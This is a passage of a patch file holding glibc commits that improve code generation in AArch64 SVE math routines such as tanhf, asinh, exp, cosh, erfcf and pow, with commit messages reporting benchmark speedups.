+   return sv_call_f32 (tanhf, x, y, special);
+ }
+ 
+@@ -47,15 +54,16 @@ svfloat32_t SV_NAME_F1 (tanh) (svfloat32_t x, const svbool_t pg)
+   svfloat32_t ax = svabs_x (pg, x);
+   svuint32_t iax = svreinterpret_u32 (ax);
+   svuint32_t sign = sveor_x (pg, svreinterpret_u32 (x), iax);
+-  svbool_t is_boring = svcmpgt (pg, iax, d->boring_bound);
+   svfloat32_t boring = svreinterpret_f32 (svorr_x (pg, sign, d->onef));
+-
+-  svbool_t special = svcmpgt (pg, iax, 0x7f800000);
++  svbool_t special = svcmpgt (pg, iax, d->special_bound);
++  svbool_t is_boring = svacgt (pg, x, d->boring_bound);
+ 
+   /* tanh(x) = (e^2x - 1) / (e^2x + 1).  */
+-  svfloat32_t q = expm1f_inline (svmul_x (pg, x, 2.0), pg, &d->expm1f_consts);
+-  svfloat32_t y = svdiv_x (pg, q, svadd_x (pg, q, 2.0));
++  svfloat32_t q = expm1f_inline (svmul_x (svptrue_b32 (), x, 2.0), pg,
++				 &d->expm1f_consts);
++
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svsel_f32 (is_boring, boring, y), special);
++    return special_case (x, pg, is_boring, boring, q, special);
++  svfloat32_t y = svdiv_x (pg, q, svadd_x (pg, q, 2.0));
+   return svsel_f32 (is_boring, boring, y);
+ }
+
+commit 0ff6a9ff79bca9384ce4ba20e8942d39cc377a14
+Author: Luna Lamb <luna.lamb@arm.com>
+Date:   Thu Feb 13 17:52:09 2025 +0000
+
+    Aarch64: Improve codegen in SVE asinh
+    
+    Use unpredicated muls, use lanewise mla's and improve memory access.
+    1% regression in throughput microbenchmark on Neoverse V1.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 8f0e7fe61e0a2ad5ed777933703ce09053810ec4)
+
+diff --git a/sysdeps/aarch64/fpu/asinh_sve.c b/sysdeps/aarch64/fpu/asinh_sve.c
+index 28dc5c4587..fe8715e06c 100644
+--- a/sysdeps/aarch64/fpu/asinh_sve.c
++++ b/sysdeps/aarch64/fpu/asinh_sve.c
+@@ -18,36 +18,49 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
+-#include "poly_sve_f64.h"
+ 
+ #define SignMask (0x8000000000000000)
+ #define One (0x3ff0000000000000)
+ #define Thres (0x5fe0000000000000) /* asuint64 (0x1p511).  */
++#define IndexMask (((1 << V_LOG_TABLE_BITS) - 1) << 1)
+ 
+ static const struct data
+ {
+-  double poly[18];
+-  double ln2, p3, p1, p4, p0, p2;
+-  uint64_t n;
+-  uint64_t off;
++  double even_coeffs[9];
++  double ln2, p3, p1, p4, p0, p2, c1, c3, c5, c7, c9, c11, c13, c15, c17;
++  uint64_t off, mask;
+ 
+ } data = {
+-  /* Polynomial generated using Remez on [2^-26, 1].  */
+-  .poly
+-  = { -0x1.55555555554a7p-3, 0x1.3333333326c7p-4, -0x1.6db6db68332e6p-5,
+-      0x1.f1c71b26fb40dp-6, -0x1.6e8b8b654a621p-6, 0x1.1c4daa9e67871p-6,
+-      -0x1.c9871d10885afp-7, 0x1.7a16e8d9d2ecfp-7, -0x1.3ddca533e9f54p-7,
+-      0x1.0becef748dafcp-7, -0x1.b90c7099dd397p-8, 0x1.541f2bb1ffe51p-8,
+-      -0x1.d217026a669ecp-9, 0x1.0b5c7977aaf7p-9, -0x1.e0f37daef9127p-11,
+-      0x1.388b5fe542a6p-12, -0x1.021a48685e287p-14, 0x1.93d4ba83d34dap-18 },
++   /* Polynomial generated using Remez on [2^-26, 1].  */
++  .even_coeffs ={
++    -0x1.55555555554a7p-3,
++    -0x1.6db6db68332e6p-5,
++    -0x1.6e8b8b654a621p-6,
++    -0x1.c9871d10885afp-7,
++    -0x1.3ddca533e9f54p-7,
++    -0x1.b90c7099dd397p-8,
++    -0x1.d217026a669ecp-9,
++    -0x1.e0f37daef9127p-11,
++    -0x1.021a48685e287p-14, },
++
++  .c1 = 0x1.3333333326c7p-4,
++  .c3 = 0x1.f1c71b26fb40dp-6,
++  .c5 = 0x1.1c4daa9e67871p-6,
++  .c7 = 0x1.7a16e8d9d2ecfp-7,
++  .c9 = 0x1.0becef748dafcp-7,
++  .c11 = 0x1.541f2bb1ffe51p-8,
++  .c13 = 0x1.0b5c7977aaf7p-9,
++  .c15 = 0x1.388b5fe542a6p-12,
++  .c17 = 0x1.93d4ba83d34dap-18,
++
+   .ln2 = 0x1.62e42fefa39efp-1,
+   .p0 = -0x1.ffffffffffff7p-2,
+   .p1 = 0x1.55555555170d4p-2,
+   .p2 = -0x1.0000000399c27p-2,
+   .p3 = 0x1.999b2e90e94cap-3,
+   .p4 = -0x1.554e550bd501ep-3,
+-  .n = 1 << V_LOG_TABLE_BITS,
+-  .off = 0x3fe6900900000000
++  .off = 0x3fe6900900000000,
++  .mask = 0xfffULL << 52,
+ };
+ 
+ static svfloat64_t NOINLINE
+@@ -64,11 +77,10 @@ __sv_log_inline (svfloat64_t x, const struct data *d, const svbool_t pg)
+      of the algorithm used.  */
+ 
+   svuint64_t ix = svreinterpret_u64 (x);
+-  svuint64_t tmp = svsub_x (pg, ix, d->off);
+-  svuint64_t i = svand_x (pg, svlsr_x (pg, tmp, (51 - V_LOG_TABLE_BITS)),
+-			  (d->n - 1) << 1);
+-  svint64_t k = svasr_x (pg, svreinterpret_s64 (tmp), 52);
+-  svuint64_t iz = svsub_x (pg, ix, svand_x (pg, tmp, 0xfffULL << 52));
++  svuint64_t i_off = svsub_x (pg, ix, d->off);
++  svuint64_t i
++      = svand_x (pg, svlsr_x (pg, i_off, (51 - V_LOG_TABLE_BITS)), IndexMask);
++  svuint64_t iz = svsub_x (pg, ix, svand_x (pg, i_off, d->mask));
+   svfloat64_t z = svreinterpret_f64 (iz);
+ 
+   svfloat64_t invc = svld1_gather_index (pg, &__v_log_data.table[0].invc, i);
+@@ -78,14 +90,14 @@ __sv_log_inline (svfloat64_t x, const struct data *d, const svbool_t pg)
+   svfloat64_t p1_p4 = svld1rq (svptrue_b64 (), &d->p1);
+ 
+   svfloat64_t r = svmla_x (pg, sv_f64 (-1.0), invc, z);
+-  svfloat64_t kd = svcvt_f64_x (pg, k);
++  svfloat64_t kd
++      = svcvt_f64_x (pg, svasr_x (pg, svreinterpret_s64 (i_off), 52));
+ 
+   svfloat64_t hi = svmla_lane (svadd_x (pg, logc, r), kd, ln2_p3, 0);
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
+   svfloat64_t y = svmla_lane (sv_f64 (d->p2), r, ln2_p3, 1);
+-
+   svfloat64_t p = svmla_lane (sv_f64 (d->p0), r, p1_p4, 0);
++
+   y = svmla_lane (y, r2, p1_p4, 1);
+   y = svmla_x (pg, p, r2, y);
+   y = svmla_x (pg, hi, r2, y);
+@@ -111,7 +123,6 @@ svfloat64_t SV_NAME_D1 (asinh) (svfloat64_t x, const svbool_t pg)
+   svuint64_t iax = svbic_x (pg, ix, SignMask);
+   svuint64_t sign = svand_x (pg, ix, SignMask);
+   svfloat64_t ax = svreinterpret_f64 (iax);
+-
+   svbool_t ge1 = svcmpge (pg, iax, One);
+   svbool_t special = svcmpge (pg, iax, Thres);
+ 
+@@ -120,7 +131,7 @@ svfloat64_t SV_NAME_D1 (asinh) (svfloat64_t x, const svbool_t pg)
+   svfloat64_t option_1 = sv_f64 (0);
+   if (__glibc_likely (svptest_any (pg, ge1)))
+     {
+-      svfloat64_t x2 = svmul_x (pg, ax, ax);
++      svfloat64_t x2 = svmul_x (svptrue_b64 (), ax, ax);
+       option_1 = __sv_log_inline (
+ 	  svadd_x (pg, ax, svsqrt_x (pg, svadd_x (pg, x2, 1))), d, pg);
+     }
+@@ -130,21 +141,53 @@ svfloat64_t SV_NAME_D1 (asinh) (svfloat64_t x, const svbool_t pg)
+      The largest observed error in this region is 1.51 ULPs:
+      _ZGVsMxv_asinh(0x1.fe12bf8c616a2p-1) got 0x1.c1e649ee2681bp-1
+ 					 want 0x1.c1e649ee2681dp-1.  */
++
+   svfloat64_t option_2 = sv_f64 (0);
+   if (__glibc_likely (svptest_any (pg, svnot_z (pg, ge1))))
+     {
+-      svfloat64_t x2 = svmul_x (pg, ax, ax);
+-      svfloat64_t x4 = svmul_x (pg, x2, x2);
+-      svfloat64_t p = sv_pw_horner_17_f64_x (pg, x2, x4, d->poly);
+-      option_2 = svmla_x (pg, ax, p, svmul_x (pg, x2, ax));
++      svfloat64_t x2 = svmul_x (svptrue_b64 (), ax, ax);
++      svfloat64_t x4 = svmul_x (svptrue_b64 (), x2, x2);
++      /* Order-17 Pairwise Horner scheme.  */
++      svfloat64_t c13 = svld1rq (svptrue_b64 (), &d->c1);
++      svfloat64_t c57 = svld1rq (svptrue_b64 (), &d->c5);
++      svfloat64_t c911 = svld1rq (svptrue_b64 (), &d->c9);
++      svfloat64_t c1315 = svld1rq (svptrue_b64 (), &d->c13);
++
++      svfloat64_t p01 = svmla_lane (sv_f64 (d->even_coeffs[0]), x2, c13, 0);
++      svfloat64_t p23 = svmla_lane (sv_f64 (d->even_coeffs[1]), x2, c13, 1);
++      svfloat64_t p45 = svmla_lane (sv_f64 (d->even_coeffs[2]), x2, c57, 0);
++      svfloat64_t p67 = svmla_lane (sv_f64 (d->even_coeffs[3]), x2, c57, 1);
++      svfloat64_t p89 = svmla_lane (sv_f64 (d->even_coeffs[4]), x2, c911, 0);
++      svfloat64_t p1011 = svmla_lane (sv_f64 (d->even_coeffs[5]), x2, c911, 1);
++      svfloat64_t p1213
++	  = svmla_lane (sv_f64 (d->even_coeffs[6]), x2, c1315, 0);
++      svfloat64_t p1415
++	  = svmla_lane (sv_f64 (d->even_coeffs[7]), x2, c1315, 1);
++      svfloat64_t p1617 = svmla_x (pg, sv_f64 (d->even_coeffs[8]), x2, d->c17);
++
++      svfloat64_t p = svmla_x (pg, p1415, x4, p1617);
++      p = svmla_x (pg, p1213, x4, p);
++      p = svmla_x (pg, p1011, x4, p);
++      p = svmla_x (pg, p89, x4, p);
++
++      p = svmla_x (pg, p67, x4, p);
++      p = svmla_x (pg, p45, x4, p);
++
++      p = svmla_x (pg, p23, x4, p);
++
++      p = svmla_x (pg, p01, x4, p);
++
++      option_2 = svmla_x (pg, ax, p, svmul_x (svptrue_b64 (), x2, ax));
+     }
+ 
+-  /* Choose the right option for each lane.  */
+-  svfloat64_t y = svsel (ge1, option_1, option_2);
+-
+   if (__glibc_unlikely (svptest_any (pg, special)))
+     return special_case (
+-	x, svreinterpret_f64 (sveor_x (pg, svreinterpret_u64 (y), sign)),
++	x,
++	svreinterpret_f64 (sveor_x (
++	    pg, svreinterpret_u64 (svsel (ge1, option_1, option_2)), sign)),
+ 	special);
++
++  /* Choose the right option for each lane.  */
++  svfloat64_t y = svsel (ge1, option_1, option_2);
+   return svreinterpret_f64 (sveor_x (pg, svreinterpret_u64 (y), sign));
+ }
+
+commit 4b0bb84eb7e52a135c873fd9d0fc6c30599aedf4
+Author: Luna Lamb <luna.lamb@arm.com>
+Date:   Thu Feb 13 17:54:46 2025 +0000
+
+    Aarch64: Improve codegen in SVE exp and users, and update expf_inline
+    
+    Use unpredicted muls, and improve memory access.
+    7%, 3% and 1% improvement in throughput microbenchmark on Neoverse V1,
+    for exp, exp2 and cosh respectively.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit c0ff447edf19bd4630fe79adf5e8b896405b059f)
+
+diff --git a/sysdeps/aarch64/fpu/cosh_sve.c b/sysdeps/aarch64/fpu/cosh_sve.c
+index 919f34604a..e375dd8a34 100644
+--- a/sysdeps/aarch64/fpu/cosh_sve.c
++++ b/sysdeps/aarch64/fpu/cosh_sve.c
+@@ -23,7 +23,7 @@ static const struct data
+ {
+   float64_t poly[3];
+   float64_t inv_ln2, ln2_hi, ln2_lo, shift, thres;
+-  uint64_t index_mask, special_bound;
++  uint64_t special_bound;
+ } data = {
+   .poly = { 0x1.fffffffffffd4p-2, 0x1.5555571d6b68cp-3,
+ 	    0x1.5555576a59599p-5, },
+@@ -35,14 +35,16 @@ static const struct data
+   .shift = 0x1.8p+52,
+   .thres = 704.0,
+ 
+-  .index_mask = 0xff,
+   /* 0x1.6p9, above which exp overflows.  */
+   .special_bound = 0x4086000000000000,
+ };
+ 
+ static svfloat64_t NOINLINE
+-special_case (svfloat64_t x, svfloat64_t y, svbool_t special)
++special_case (svfloat64_t x, svbool_t pg, svfloat64_t t, svbool_t special)
+ {
++  svfloat64_t half_t = svmul_x (svptrue_b64 (), t, 0.5);
++  svfloat64_t half_over_t = svdivr_x (pg, t, 0.5);
++  svfloat64_t y = svadd_x (pg, half_t, half_over_t);
+   return sv_call_f64 (cosh, x, y, special);
+ }
+ 
+@@ -60,12 +62,12 @@ exp_inline (svfloat64_t x, const svbool_t pg, const struct data *d)
+ 
+   svuint64_t u = svreinterpret_u64 (z);
+   svuint64_t e = svlsl_x (pg, u, 52 - V_EXP_TAIL_TABLE_BITS);
+-  svuint64_t i = svand_x (pg, u, d->index_mask);
++  svuint64_t i = svand_x (svptrue_b64 (), u, 0xff);
+ 
+   svfloat64_t y = svmla_x (pg, sv_f64 (d->poly[1]), r, d->poly[2]);
+   y = svmla_x (pg, sv_f64 (d->poly[0]), r, y);
+   y = svmla_x (pg, sv_f64 (1.0), r, y);
+-  y = svmul_x (pg, r, y);
++  y = svmul_x (svptrue_b64 (), r, y);
+ 
+   /* s = 2^(n/N).  */
+   u = svld1_gather_index (pg, __v_exp_tail_data, i);
+@@ -94,12 +96,12 @@ svfloat64_t SV_NAME_D1 (cosh) (svfloat64_t x, const svbool_t pg)
+   /* Up to the point that exp overflows, we can use it to calculate cosh by
+      exp(|x|) / 2 + 1 / (2 * exp(|x|)).  */
+   svfloat64_t t = exp_inline (ax, pg, d);
+-  svfloat64_t half_t = svmul_x (pg, t, 0.5);
+-  svfloat64_t half_over_t = svdivr_x (pg, t, 0.5);
+ 
+   /* Fall back to scalar for any special cases.  */
+   if (__glibc_unlikely (svptest_any (pg, special)))
+-    return special_case (x, svadd_x (pg, half_t, half_over_t), special);
++    return special_case (x, pg, t, special);
+ 
++  svfloat64_t half_t = svmul_x (svptrue_b64 (), t, 0.5);
++  svfloat64_t half_over_t = svdivr_x (pg, t, 0.5);
+   return svadd_x (pg, half_t, half_over_t);
+ }
+diff --git a/sysdeps/aarch64/fpu/exp10_sve.c b/sysdeps/aarch64/fpu/exp10_sve.c
+index ddf64708cb..bfd3fb9e19 100644
+--- a/sysdeps/aarch64/fpu/exp10_sve.c
++++ b/sysdeps/aarch64/fpu/exp10_sve.c
+@@ -18,21 +18,23 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
+-#include "poly_sve_f64.h"
+ 
+ #define SpecialBound 307.0 /* floor (log10 (2^1023)).  */
+ 
+ static const struct data
+ {
+-  double poly[5];
++  double c1, c3, c2, c4, c0;
+   double shift, log10_2, log2_10_hi, log2_10_lo, scale_thres, special_bound;
+ } data = {
+   /* Coefficients generated using Remez algorithm.
+      rel error: 0x1.9fcb9b3p-60
+      abs error: 0x1.a20d9598p-60 in [ -log10(2)/128, log10(2)/128 ]
+      max ulp err 0.52 +0.5.  */
+-  .poly = { 0x1.26bb1bbb55516p1, 0x1.53524c73cd32ap1, 0x1.0470591daeafbp1,
+-	    0x1.2bd77b1361ef6p0, 0x1.142b5d54e9621p-1 },
++  .c0 = 0x1.26bb1bbb55516p1,
++  .c1 = 0x1.53524c73cd32ap1,
++  .c2 = 0x1.0470591daeafbp1,
++  .c3 = 0x1.2bd77b1361ef6p0,
++  .c4 = 0x1.142b5d54e9621p-1,
+   /* 1.5*2^46+1023. This value is further explained below.  */
+   .shift = 0x1.800000000ffc0p+46,
+   .log10_2 = 0x1.a934f0979a371p1,     /* 1/log2(10).  */
+@@ -70,9 +72,9 @@ special_case (svbool_t pg, svfloat64_t s, svfloat64_t y, svfloat64_t n,
+   /* |n| > 1280 => 2^(n) overflows.  */
+   svbool_t p_cmp = svacgt (pg, n, d->scale_thres);
+ 
+-  svfloat64_t r1 = svmul_x (pg, s1, s1);
++  svfloat64_t r1 = svmul_x (svptrue_b64 (), s1, s1);
+   svfloat64_t r2 = svmla_x (pg, s2, s2, y);
+-  svfloat64_t r0 = svmul_x (pg, r2, s1);
++  svfloat64_t r0 = svmul_x (svptrue_b64 (), r2, s1);
+ 
+   return svsel (p_cmp, r1, r0);
+ }
+@@ -103,11 +105,14 @@ svfloat64_t SV_NAME_D1 (exp10) (svfloat64_t x, svbool_t pg)
+      comes at significant performance cost.  */
+   svuint64_t u = svreinterpret_u64 (z);
+   svfloat64_t scale = svexpa (u);
+-
++  svfloat64_t c24 = svld1rq (svptrue_b64 (), &d->c2);
+   /* Approximate exp10(r) using polynomial.  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t y = svmla_x (pg, svmul_x (pg, r, d->poly[0]), r2,
+-			   sv_pairwise_poly_3_f64_x (pg, r, r2, d->poly + 1));
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t p12 = svmla_lane (sv_f64 (d->c1), r, c24, 0);
++  svfloat64_t p34 = svmla_lane (sv_f64 (d->c3), r, c24, 1);
++  svfloat64_t p14 = svmla_x (pg, p12, p34, r2);
++
++  svfloat64_t y = svmla_x (pg, svmul_x (svptrue_b64 (), r, d->c0), r2, p14);
+ 
+   /* Assemble result as exp10(x) = 2^n * exp10(r).  If |x| > SpecialBound
+      multiplication may overflow, so use special case routine.  */
+diff --git a/sysdeps/aarch64/fpu/exp2_sve.c b/sysdeps/aarch64/fpu/exp2_sve.c
+index 22848ebfa5..5dfb77cdbc 100644
+--- a/sysdeps/aarch64/fpu/exp2_sve.c
++++ b/sysdeps/aarch64/fpu/exp2_sve.c
+@@ -18,7 +18,6 @@
+    <https://www.gnu.org/licenses/>.  */
+ 
+ #include "sv_math.h"
+-#include "poly_sve_f64.h"
+ 
+ #define N (1 << V_EXP_TABLE_BITS)
+ 
+@@ -27,15 +26,15 @@
+ 
+ static const struct data
+ {
+-  double poly[4];
++  double c0, c2;
++  double c1, c3;
+   double shift, big_bound, uoflow_bound;
+ } data = {
+   /* Coefficients are computed using Remez algorithm with
+      minimisation of the absolute error.  */
+-  .poly = { 0x1.62e42fefa3686p-1, 0x1.ebfbdff82c241p-3, 0x1.c6b09b16de99ap-5,
+-	    0x1.3b2abf5571ad8p-7 },
+-  .shift = 0x1.8p52 / N,
+-  .uoflow_bound = UOFlowBound,
++  .c0 = 0x1.62e42fefa3686p-1, .c1 = 0x1.ebfbdff82c241p-3,
++  .c2 = 0x1.c6b09b16de99ap-5, .c3 = 0x1.3b2abf5571ad8p-7,
++  .shift = 0x1.8p52 / N,      .uoflow_bound = UOFlowBound,
+   .big_bound = BigBound,
+ };
+ 
+@@ -67,9 +66,9 @@ special_case (svbool_t pg, svfloat64_t s, svfloat64_t y, svfloat64_t n,
+   /* |n| > 1280 => 2^(n) overflows.  */
+   svbool_t p_cmp = svacgt (pg, n, d->uoflow_bound);
+ 
+-  svfloat64_t r1 = svmul_x (pg, s1, s1);
++  svfloat64_t r1 = svmul_x (svptrue_b64 (), s1, s1);
+   svfloat64_t r2 = svmla_x (pg, s2, s2, y);
+-  svfloat64_t r0 = svmul_x (pg, r2, s1);
++  svfloat64_t r0 = svmul_x (svptrue_b64 (), r2, s1);
+ 
+   return svsel (p_cmp, r1, r0);
+ }
+@@ -99,11 +98,14 @@ svfloat64_t SV_NAME_D1 (exp2) (svfloat64_t x, svbool_t pg)
+   svuint64_t top = svlsl_x (pg, ki, 52 - V_EXP_TABLE_BITS);
+   svfloat64_t scale = svreinterpret_f64 (svadd_x (pg, sbits, top));
+ 
++  svfloat64_t c13 = svld1rq (svptrue_b64 (), &d->c1);
+   /* Approximate exp2(r) using polynomial.  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t p = sv_pairwise_poly_3_f64_x (pg, r, r2, d->poly);
+-  svfloat64_t y = svmul_x (pg, r, p);
+-
++  /* y = exp2(r) - 1 ~= C0 r + C1 r^2 + C2 r^3 + C3 r^4.  */
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t p01 = svmla_lane (sv_f64 (d->c0), r, c13, 0);
++  svfloat64_t p23 = svmla_lane (sv_f64 (d->c2), r, c13, 1);
++  svfloat64_t p = svmla_x (pg, p01, p23, r2);
++  svfloat64_t y = svmul_x (svptrue_b64 (), r, p);
+   /* Assemble exp2(x) = exp2(r) * scale.  */
+   if (__glibc_unlikely (svptest_any (pg, special)))
+     return special_case (pg, scale, y, kd, d);
+diff --git a/sysdeps/aarch64/fpu/exp_sve.c b/sysdeps/aarch64/fpu/exp_sve.c
+index aabaaa1d61..b2421d493f 100644
+--- a/sysdeps/aarch64/fpu/exp_sve.c
++++ b/sysdeps/aarch64/fpu/exp_sve.c
+@@ -21,12 +21,15 @@
+ 
+ static const struct data
+ {
+-  double poly[4];
++  double c0, c2;
++  double c1, c3;
+   double ln2_hi, ln2_lo, inv_ln2, shift, thres;
++
+ } data = {
+-  .poly = { /* ulp error: 0.53.  */
+-	    0x1.fffffffffdbcdp-2, 0x1.555555555444cp-3, 0x1.555573c6a9f7dp-5,
+-	    0x1.1111266d28935p-7 },
++  .c0 = 0x1.fffffffffdbcdp-2,
++  .c1 = 0x1.555555555444cp-3,
++  .c2 = 0x1.555573c6a9f7dp-5,
++  .c3 = 0x1.1111266d28935p-7,
+   .ln2_hi = 0x1.62e42fefa3800p-1,
+   .ln2_lo = 0x1.ef35793c76730p-45,
+   /* 1/ln2.  */
+@@ -36,7 +39,6 @@ static const struct data
+   .thres = 704.0,
+ };
+ 
+-#define C(i) sv_f64 (d->poly[i])
+ #define SpecialOffset 0x6000000000000000 /* 0x1p513.  */
+ /* SpecialBias1 + SpecialBias1 = asuint(1.0).  */
+ #define SpecialBias1 0x7000000000000000 /* 0x1p769.  */
+@@ -56,20 +58,20 @@ special_case (svbool_t pg, svfloat64_t s, svfloat64_t y, svfloat64_t n)
+   svuint64_t b
+       = svdup_u64_z (p_sign, SpecialOffset); /* Inactive lanes set to 0.  */
+ 
+-  /* Set s1 to generate overflow depending on sign of exponent n.  */
+-  svfloat64_t s1 = svreinterpret_f64 (
+-      svsubr_x (pg, b, SpecialBias1)); /* 0x70...0 - b.  */
+-  /* Offset s to avoid overflow in final result if n is below threshold.  */
++  /* Set s1 to generate overflow depending on sign of exponent n,
++     ie. s1 = 0x70...0 - b.  */
++  svfloat64_t s1 = svreinterpret_f64 (svsubr_x (pg, b, SpecialBias1));
++  /* Offset s to avoid overflow in final result if n is below threshold.
++     ie. s2 = as_u64 (s) - 0x3010...0 + b.  */
+   svfloat64_t s2 = svreinterpret_f64 (
+-      svadd_x (pg, svsub_x (pg, svreinterpret_u64 (s), SpecialBias2),
+-	       b)); /* as_u64 (s) - 0x3010...0 + b.  */
++      svadd_x (pg, svsub_x (pg, svreinterpret_u64 (s), SpecialBias2), b));
+ 
+   /* |n| > 1280 => 2^(n) overflows.  */
+   svbool_t p_cmp = svacgt (pg, n, 1280.0);
+ 
+-  svfloat64_t r1 = svmul_x (pg, s1, s1);
++  svfloat64_t r1 = svmul_x (svptrue_b64 (), s1, s1);
+   svfloat64_t r2 = svmla_x (pg, s2, s2, y);
+-  svfloat64_t r0 = svmul_x (pg, r2, s1);
++  svfloat64_t r0 = svmul_x (svptrue_b64 (), r2, s1);
+ 
+   return svsel (p_cmp, r1, r0);
+ }
+@@ -103,16 +105,16 @@ svfloat64_t SV_NAME_D1 (exp) (svfloat64_t x, const svbool_t pg)
+   svfloat64_t z = svmla_x (pg, sv_f64 (d->shift), x, d->inv_ln2);
+   svuint64_t u = svreinterpret_u64 (z);
+   svfloat64_t n = svsub_x (pg, z, d->shift);
+-
++  svfloat64_t c13 = svld1rq (svptrue_b64 (), &d->c1);
+   /* r = x - n * ln2, r is in [-ln2/(2N), ln2/(2N)].  */
+   svfloat64_t ln2 = svld1rq (svptrue_b64 (), &d->ln2_hi);
+   svfloat64_t r = svmls_lane (x, n, ln2, 0);
+   r = svmls_lane (r, n, ln2, 1);
+ 
+   /* y = exp(r) - 1 ~= r + C0 r^2 + C1 r^3 + C2 r^4 + C3 r^5.  */
+-  svfloat64_t r2 = svmul_x (pg, r, r);
+-  svfloat64_t p01 = svmla_x (pg, C (0), C (1), r);
+-  svfloat64_t p23 = svmla_x (pg, C (2), C (3), r);
++  svfloat64_t r2 = svmul_x (svptrue_b64 (), r, r);
++  svfloat64_t p01 = svmla_lane (sv_f64 (d->c0), r, c13, 0);
++  svfloat64_t p23 = svmla_lane (sv_f64 (d->c2), r, c13, 1);
+   svfloat64_t p04 = svmla_x (pg, p01, p23, r2);
+   svfloat64_t y = svmla_x (pg, r, p04, r2);
+ 
+diff --git a/sysdeps/aarch64/fpu/sv_expf_inline.h b/sysdeps/aarch64/fpu/sv_expf_inline.h
+index 6166df6553..75781fb4dd 100644
+--- a/sysdeps/aarch64/fpu/sv_expf_inline.h
++++ b/sysdeps/aarch64/fpu/sv_expf_inline.h
+@@ -61,7 +61,7 @@ expf_inline (svfloat32_t x, const svbool_t pg, const struct sv_expf_data *d)
+   /* scale = 2^(n/N).  */
+   svfloat32_t scale = svexpa (svreinterpret_u32 (z));
+ 
+-  /* y = exp(r) - 1 ~= r + C0 r^2 + C1 r^3 + C2 r^4 + C3 r^5 + C4 r^6.  */
++  /* poly(r) = exp(r) - 1 ~= C0 r + C1 r^2 + C2 r^3 + C3 r^4 + C4 r^5.  */
+   svfloat32_t p12 = svmla_lane (sv_f32 (d->c1), r, lane_consts, 2);
+   svfloat32_t p34 = svmla_lane (sv_f32 (d->c3), r, lane_consts, 3);
+   svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
+@@ -71,5 +71,4 @@ expf_inline (svfloat32_t x, const svbool_t pg, const struct sv_expf_data *d)
+ 
+   return svmla_x (pg, scale, scale, poly);
+ }
+-
+ #endif
+
+commit 194185c28954dfa11a6ded8b32f34fee680d3218
+Author: Yat Long Poon <yatlong.poon@arm.com>
+Date:   Thu Feb 13 18:00:50 2025 +0000
+
+    AArch64: Improve codegen for SVE erfcf
+    
+    Reduce number of MOV/MOVPRFXs and use unpredicated FMUL.
+    Replace MUL with LSL.  Speedup on Neoverse V1: 6%.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit f5ff34cb3c75ec1061c75bb9188b3c1176426947)
+
+diff --git a/sysdeps/aarch64/fpu/erfcf_sve.c b/sysdeps/aarch64/fpu/erfcf_sve.c
+index ecacb933ac..e4869263e3 100644
+--- a/sysdeps/aarch64/fpu/erfcf_sve.c
++++ b/sysdeps/aarch64/fpu/erfcf_sve.c
+@@ -76,7 +76,7 @@ svfloat32_t SV_NAME_F1 (erfc) (svfloat32_t x, const svbool_t pg)
+   svuint32_t i = svqadd (svreinterpret_u32 (z), dat->off_idx);
+ 
+   /* Lookup erfc(r) and 2/sqrt(pi)*exp(-r^2) in tables.  */
+-  i = svmul_x (pg, i, 2);
++  i = svlsl_x (svptrue_b32 (), i, 1);
+   const float32_t *p = &__v_erfcf_data.tab[0].erfc - 2 * dat->off_arr;
+   svfloat32_t erfcr = svld1_gather_index (pg, p, i);
+   svfloat32_t scale = svld1_gather_index (pg, p + 1, i);
+@@ -84,15 +84,15 @@ svfloat32_t SV_NAME_F1 (erfc) (svfloat32_t x, const svbool_t pg)
+   /* erfc(x) ~ erfc(r) - scale * d * poly(r, d).  */
+   svfloat32_t r = svsub_x (pg, z, shift);
+   svfloat32_t d = svsub_x (pg, a, r);
+-  svfloat32_t d2 = svmul_x (pg, d, d);
+-  svfloat32_t r2 = svmul_x (pg, r, r);
++  svfloat32_t d2 = svmul_x (svptrue_b32 (), d, d);
++  svfloat32_t r2 = svmul_x (svptrue_b32 (), r, r);
+ 
+   svfloat32_t coeffs = svld1rq (svptrue_b32 (), &dat->third);
+-  svfloat32_t third = svdup_lane (coeffs, 0);
+ 
+   svfloat32_t p1 = r;
+-  svfloat32_t p2 = svmls_lane (third, r2, coeffs, 1);
+-  svfloat32_t p3 = svmul_x (pg, r, svmla_lane (sv_f32 (-0.5), r2, coeffs, 0));
++  svfloat32_t p2 = svmls_lane (sv_f32 (dat->third), r2, coeffs, 1);
++  svfloat32_t p3
++      = svmul_x (svptrue_b32 (), r, svmla_lane (sv_f32 (-0.5), r2, coeffs, 0));
+   svfloat32_t p4 = svmla_lane (sv_f32 (dat->two_over_five), r2, coeffs, 2);
+   p4 = svmls_x (pg, sv_f32 (dat->tenth), r2, p4);
+ 
+
+commit 7dc549c5a4af3c32689147550144397116404d22
+Author: Yat Long Poon <yatlong.poon@arm.com>
+Date:   Thu Feb 13 18:02:01 2025 +0000
+
+    AArch64: Improve codegen for SVE pow
+    
+    Move constants to struct.  Improve memory access with indexed/unpredicated
+    instructions.  Eliminate register spills.  Speedup on Neoverse V1: 24%.
+    
+    Reviewed-by: Wilco Dijkstra  <Wilco.Dijkstra@arm.com>
+    (cherry picked from commit 0b195651db3ae793187c7dd6d78b5a7a8da9d5e6)
+
+diff --git a/sysdeps/aarch64/fpu/pow_sve.c b/sysdeps/aarch64/fpu/pow_sve.c
+index 4c0bf8956c..4242d22a49 100644
+--- a/sysdeps/aarch64/fpu/pow_sve.c
++++ b/sysdeps/aarch64/fpu/pow_sve.c
+@@ -44,19 +44,18 @@
+ 
+ /* Data is defined in v_pow_log_data.c.  */
+ #define N_LOG (1 << V_POW_LOG_TABLE_BITS)
